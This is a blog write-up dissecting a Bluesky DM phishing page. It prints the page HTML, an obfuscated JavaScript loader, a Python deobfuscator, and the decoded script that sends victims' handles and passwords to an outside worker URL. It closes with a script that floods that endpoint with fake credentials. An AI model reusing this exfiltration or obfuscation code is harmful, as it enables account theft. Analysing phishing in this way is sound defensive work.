Bluesky Phishing ๐
I’ve been curious for a while about self-hosted social media things. Mastodon never caught my attention much, I don’t know quite why but I just didn’t vibe with it. Although when I saw that Bluesky was opening up the gates for federating your own personal data server, I thought “Why not? Looks easy enough”. They recently introduced a chat/DM feature, allowing users to have more direct and less public conversations. As soon as i got access, naturally I set my preferences to allow anyone to message me. My participation in the service had been quite mellow, but even so just a few days later i got my very first chat message! Joy of joys when it turned out to be phishing spam. Now I can’t say I’ve kept up much with the deluge of crypto scams that has hit the public lately, so my perception is still quite old school. Which led me to really enjoy poking around this one in particular, as it has โจsparkliesโจ.
The approach ๐
Now, sadly there seems to be a bug in the Bluesky app where you cannot access the chat logs from deleted accounts. Given that the master phisher had his account that reached out to me either bonked by the bsky.social moderation or deleted the account themselves, I can no longer access the original message. Unless of course the app on my phone wasn’t broken to Narnia and back, letting me grab this quick screenshot before the cache refreshed:
Last I checked, the link still worked so feel free to go poke around on your own. I’m not too afraid that they are going to drop a chrome 0day on me so I joyously opened the link just to find myself redirected to some stats page. But checking with curl I got a regular ol’ status 200, and not a redirect, with some HTML to boot which is when my interest was officially piqued.
The REAL page ๐
So what the page does is that when it is loaded a little bit of JavaScript runs that ends in the redirect, removing the script snippet (to which we will return very shortly), you end up on this landing page:
It’s got all the cute little hallmarks of an old fashioned phishing scam. You got funky promises to entice you, it uses the official colors of what its trying to imitate, just the regular stuff. However, looking at the HTML for the page we get some fun little insights into our would be scammer. The code has been abridged for legibility.
<!DOCTYPE html>
<html>
<head>
...
<body>
...
<p>
What can you do with SkyBucks? Well, you can:<br>
Buy advertisements on BlueSky<br> <!-- I'm still surprised this isn't a real thing. Does namecheap really pay the bills? -->
Unlock <span class="xyz">colors</span> in your posts<br> <!-- [color=blue]BBCode in posts would be cool. In more practical (but less fun) terms, you could just use facets for this instead. There's a custom client idea for you![/color] -->
Auction your usernames<br> <!-- What if we made domain reselling cool again? -->
Purchase NFTs in our new Secure Cryptographic Art Market <!-- It took me 5 hours to come up with this --><br>
<!-- Also, stop reading my fishing (sic) page's code, you are committing copyright infringement and you might as well be committing arson. -->
</p>
<script>
function claim() {
document.getElementById('identifier').style.display = 'initial';
document.getElementById('password').style.display = 'initial';
document.getElementById('asd').style.display = 'initial';
document.getElementById('asdf').style.display = 'none';
}
// Put the password logger here when it's ready
</script>
<!-- Default SixV analytics code for SkyBucks https://6v.pages.dev -->
<script type="text/javascript">
var sv_project=12889629;
var sv_invisible=1;
var sv_security="72363732";
</script>
<script type="text/javascript">
...
</script>
</body>
</html>
<!-- :D -->
I mean, you gotta admit they have character at least! The specific Bluesky references in the comments about color indicates that the master phisher put at least a little effort into getting familiar with the service before throwing this together. The adorable threat of litigation will be a recurring theme in the coming section as well. I’m guessing the password logger never made it quite out of integration hell and into prod, poor thing. Accessing the url from the comments, https://6v.pages.dev, gives us the best worst site I’ve seen in a while:
That site is wonderful in and of itself, containing an commented out obfuscated email address and links to a Bluesky and mastodon account. From now on I will just call it the 6v site. A marvel of human engineering in the form of an analytics script is fetched and ran in the background:
// i have slightly improved my analytics infrastructure :)
Promise.resolve(fetch("https://mostlybenign.5u.workers.dev/trac?mostlybenign=3&hr="+encodeURI(window.location.href)))
This little snippet just makes a get request with one of the parameters given being your current location. So it essentially just sends up the URL you’re at to a central server. When this is curled, it will just reply with what are you looking for? :)
, which I guess is at least more cute than just a status 200 and a \n
. The endpoint itself looks like a cloudflare worker, which makes sense since the 6v site is a cloudflare site. From what i can remember you can get a limited amount of tokens for free to use with the workers every month, so im guessing this is one of those free instances. With all of that settled, let’s move on to the scripts that run on the landing page!
The mysterious script ๐
So in the last section, I removed a lot of the actual running code on the page, but now its time to take a peek. This is the last script that runs on the landing page, so it is safe to assume it is responsible for the redirect. I say assume, because by just looking at it I don’t think you could pinpoint exactly what it does as it is just a little obfuscated. I have done a little formatting so it is a bit easier to read however.
// SixV Analytics - Pageclick Tracker - Build ID 72363732
function report_pageclick(e, c) {
return click_datatrack(c, e)()
}
function click_datatrack(e, c) {
return c(e)
}
var zmq = Function, zmw = Number, zme = String, zmr = Array, zmt = Object;
function connect_click(e) {
var c = "", L = !1, A = !1, x = 0;
for (i = 0; i < e.length; i += 2) {
var O = e[i], Q = e[i + 1];
(!L || A) && ("H" == O || "j" == O || "m" == O || "P" == O || "B" == O || "X" == O || "Y" == O) && (x ^= Q.charCodeAt(0)),
(!L || A) && ("9" == O || "2" == O || "V" == O || "R" == O || "U" == O || "S" == O || "n" == O) && (x = (x + Q.charCodeAt(0)) % 256),
(!L || A) && ("a" == O || "G" == O || "I" == O || "b" == O || "f" == O || "8" == O || "z" == O) && (L = !0, A = x == Q.charCodeAt(0)),
(!L || A) && ("q" == O || "C" == O || "N" == O || "W" == O || "p" == O || "l" == O || "E" == O) && (c += String.fromCharCode(x)),
(!L || A) && ("O" == O || "w" == O || "Q" == O || "J" == O || "A" == O || "6" == O || "x" == O) && (x = Q.charCodeAt(0)),
(!L || A) && ("+" == O || "3" == O || "c" == O || "L" == O || "i" == O || "e" == O || "5" == O) && (x = c + Q.charCodeAt(0)),
(!L || A) && ("0" == O || "D" == O || "Z" == O || "h" == O || "7" == O || "r" == O || "1" == O) && zmq(c)(),
(!L || A) && ("/" == O || "M" == O || "k" == O || "F" == O || "d" == O || "u" == O || "s" == O) && (c = ""),
("t" == O || "K" == O || "T" == O || "y" == O || "4" == O || "o" == O || "v" == O) &&
(L = !1, A = !1)
} return c
}
function ready_clicktracking() {
var e = document.createElement("sixv-clicktracking");
e.onclick = function () {
var e = connect_click(// "ARaRAhmGlaToxNGQc7yfQ7z7xMHblcTwATas5feacD50eB363qeG+XKqAmzmA+PcDeCoiJDfDJAn4XOCi4iwiGd3i3s3i3/
//...
// ewiueM+OvNQ/z/Q/UBXYluTsApbALZ5K5/5wK3"
);
report_pageclick(Function, e) };
var c = document.createElement("sixv-handler"), L = document.createElement("sixv-callback"), A = document.createElement("sixv-ctfind");
e.click(), c.click(), L.click(), A.click()
}
ready_clicktracking();
The ASCII blob that’s been abbreviated and commented out is roughly 1.2KB in the real script. It seems the “connect click” function is our deobfuscator here, and looking at it its not the very height of simplicity. I am trash at javascript, but looking at it it seems that we set three variables A
, L
, and x
to track a state and c
to save output to, then we iterate over the blob two chars at a time which are stored in O
and Q
. Then we land in a cursed switch-case emulation that uses the fact that code execution is lazy. So first we look at A
and L
to make sure we are allowed to keep going at all. Then we check if O
is in a list of chars, and if it isn’t the lazy interpreter will see the coming &&
operator and know it WILL evaluate false, stopping execution of that statement. However if the letter is in the sequence, the interpreter will evaluate the last parenthesis which is actually just supposed to run a bit of code. Depending on the variable O
different operations can be performed, mostly relating to the value of the variable Q
. But there is one line that stands out, where c
is passed to zmq
which is a previously defined blank function and by invoking it in this way, overwrites its contents with the contents of c
and as such executes that code.
Now if you just ran this in a javascript interpreter you will get the return value: // Didn't I tell you not to look at my code? :(
. As previously mentioned, I’m trash at javascript so I can’t hack together some clever way to get the rest of the blob in its deobfuscated form here. But since I can read javascript, I can translate it into python!
def deobfuscate(e):
c = ""
x = 0
for i in range(0, len(e), 2):
O = e[i]
Q = e[i + 1]
if O in "HjmPBXY":
x ^= ord(Q)
if O in "92VRUSn":
x = (x + ord(Q)) % 256
if O in "qCNWplE":
c += chr(x)
if O in "OwQJA6x":
x = ord(Q)
if O in "+3cLie5":
x = c + str(ord(Q))
if O in "0DZh7r1":
yield c
if O in "/MkFdus":
c = ""
return c
with open("deob.js", "w") as f:
for c in deobfuscate(open("obfuscated.txt", "r").read()):
f.write(c + "\n\n")
Now there have been some modifications here to the original which makes it less useful for similar cases. I discovered in porting it that the variables A
and L
were superfluous, so i removed all references to them. And since I wanted to access the contents sent to zmq
I just sent it back to the writer with a yield instead. Other than that, the code is identical in execution, and in running it we get this output, again formatted a little bit:
// >:( if you are reading this text, i am filing multiple lawsuits against you immediately.
async function login() {
var ident = document.getElementById('identifier').value;
var passx = document.getElementById('password').value;
try {
await fetch("https://mostlybenign.5u.workers.dev/trac?mostlybenign=ix&ident=" + encodeURI(ident) + "&stats=" + encodeURI(passx));
}
catch {
window.location.href = "https://bsky.app";
}
}
globalThis.login = login;
globalThis.asdf1234 = false;
function detectie() {
// i stole this from some bad steam phishing site. it did not have a lawsuit disclaimer so that means i'm free to take this, i think
k = /./;
k.toString = function () {
window.location.href = "https://twexit.nl";
globalThis.asdf1234 = true;
};
if (!globalThis.asdf1234) {
console.log(k);
}
}
detectie();
setInterval(detectie, 1000);
// Didn't I tell you not to look at my code? :(
So it does actually seem like this is just an analytics script which was obfuscated but not minified? It uses the same url as the last script snippet in the first section which indicates that maybe maybe the author of this script is also the author of that 6v site. Alternatively, whoever sent me the original chat message really wanted the one owning 6v to get some analytics sent to them. It does seem like there is some sort of identification and password to login to this very serious analytics service after all. Or maybe, if we go back to the HTML of the original page, what this script actually tries to send is the contents of the login that hides behind the claim gift button on the landing page. So even here we are dealing with some cute obfuscation to make your web browser think you are just sending some stuff up to an analytics service where in reality it just sends the phished username and password to some central server.
Upon seeing this you can just move on with your life and live happily, or you write a quick little garbage generator in python and share it with your currently non-existent readerbase. Then you might be able to send enough garbage into that endpoint to make any future attempts at phishing with it an exercise in rudimentary data cleaning for the scammers. It could have been slimmed down but I didn’t think all that much when I threw it together. The endpoint will likely be killed soon anyways, they don’t usually stay up for too long.
import requests
import urllib.parse
import time
import random
usernames = [x.strip() for x in open("usernames.txt", "rb").readlines()]
passwords = [x.strip() for x in open("passwords.txt", "rb").readlines()]
while 1:
try:
ident = random.choice(usernames).decode("utf-8") + ".bsky.social"
passx = random.choice(passwords).decode("utf-8")
url = "https://mostlybenign.5u.workers.dev/trac?mostlybenign=ix&ident=" + urllib.parse.quote(ident) + "&stats=" + urllib.parse.quote(passx)
requests.get(url)
print("Sent " + ident + " " + passx)
time.sleep(random.randint(1,1500)/1000)
except Exception as e:
print(f"something broke: {e}")
Conclusion ๐
This was a fun little scam to pick at, and to write up. Not a day passes where I don’t find some more cursed javascript than the one before, and I am happy that today it landed right on my doorstep without me interacting much. Attribution in cybersecurity is always hard, but given the throughline of the comments left by the scammer in their HTML with the ones in the deobfuscated blob it is plausible that whomever owns the 6v site also sent the scam to me. So now we get into the murky waters of “did the attacker set this up to frame someone ๐ฑ” so I won’t be throwing names and handles around or pointing fingers. The scam was so transparent and at least on my browser didn’t seem to work like it was supposed to leading me to believe the scammer themselves took their accounts down after they noticed it was broken. But who knows, apparently I have already been sued.